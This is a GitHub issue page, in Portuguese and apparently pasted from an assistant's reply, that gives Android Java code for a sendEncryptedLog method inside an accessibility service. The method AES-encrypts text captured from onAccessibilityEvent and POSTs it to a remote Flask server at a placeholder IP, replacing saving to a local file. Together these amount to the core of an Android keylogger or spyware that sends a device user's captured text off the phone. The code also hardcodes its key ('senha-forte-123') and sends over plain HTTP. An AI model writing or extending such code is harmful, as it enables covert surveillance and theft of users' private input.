Skip to content

AES/CBC 2 #6

@drykxs

Description

@drykxs

Ótimo! Abaixo está um exemplo completo e funcional de como o app Android pode:

  1. Criptografar dados com AES/CBC/PKCS5Padding
  2. Gerar IV aleatório com SecureRandom
  3. Concatenar IV + dados criptografados
  4. Enviar via HTTP POST para seu servidor Flask

1. Dependência (se ainda não tiver no build.gradle):

dependencies {
    implementation 'androidx.security:security-crypto:1.1.0-alpha06'
}

📄 MyAccessibilityService.java (método sendEncryptedLog)

import android.util.Log;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import javax.crypto.BadPaddingException;
import javax.crypto.IllegalBlockSizeException;
import java.security.SecureRandom;
import java.security.MessageDigest;
import java.util.Arrays;
import java.net.HttpURLConnection;
import java.net.URL;
import java.io.OutputStream;

private void sendEncryptedLog(String logText) {
    try {
        // Chave e IV
        String secret = "senha-forte-123";
        byte[] key = Arrays.copyOf(MessageDigest.getInstance("SHA-256").digest(secret.getBytes("UTF-8")), 16);

        // Gera IV aleatório
        byte[] iv = new byte[16];
        new SecureRandom().nextBytes(iv);
        IvParameterSpec ivSpec = new IvParameterSpec(iv);

        // Prepara cipher
        SecretKeySpec keySpec = new SecretKeySpec(key, "AES");
        Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
        cipher.init(Cipher.ENCRYPT_MODE, keySpec, ivSpec);

        // Criptografa o texto
        byte[] encrypted = cipher.doFinal(logText.getBytes("UTF-8"));

        // Concatena IV + dados
        byte[] payload = new byte[iv.length + encrypted.length];
        System.arraycopy(iv, 0, payload, 0, iv.length);
        System.arraycopy(encrypted, 0, payload, iv.length, encrypted.length);

        // Envia via HTTP POST
        URL url = new URL("http://<IP_DO_SERVIDOR>:5000/upload");  // ajuste IP se necessário
        HttpURLConnection conn = (HttpURLConnection) url.openConnection();
        conn.setDoOutput(true);
        conn.setRequestMethod("POST");
        conn.setRequestProperty("Content-Type", "application/octet-stream");
        conn.setFixedLengthStreamingMode(payload.length);
        conn.connect();

        OutputStream os = conn.getOutputStream();
        os.write(payload);
        os.flush();
        os.close();

        int responseCode = conn.getResponseCode();
        Log.i("SEND_LOG", "Código HTTP: " + responseCode);

    } catch (BadPaddingException e) {
        Log.e("SEND_LOG", "Erro de padding: " + e.getMessage());
    } catch (IllegalBlockSizeException e) {
        Log.e("SEND_LOG", "Tamanho de bloco inválido: " + e.getMessage());
    } catch (Exception e) {
        Log.e("SEND_LOG", "Erro ao enviar log criptografado", e);
    }
}

Chame esse método dentro do seu onAccessibilityEvent

Substitua:

saveToFile(normalized);

Por:

sendEncryptedLog(normalized);

📌 Lembretes:

  • Substitua http://<IP_DO_SERVIDOR>:5000/upload com o IP da máquina rodando Flask (use IP local ou host visível no emulador/dispositivo).
  • O servidor já espera [IV][data] conforme combinamos.
  • Para testes locais, use o IP 10.0.2.2 no emulador Android para se conectar ao localhost do host.

Metadata

Metadata

Assignees

Labels

No labels
No labels

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions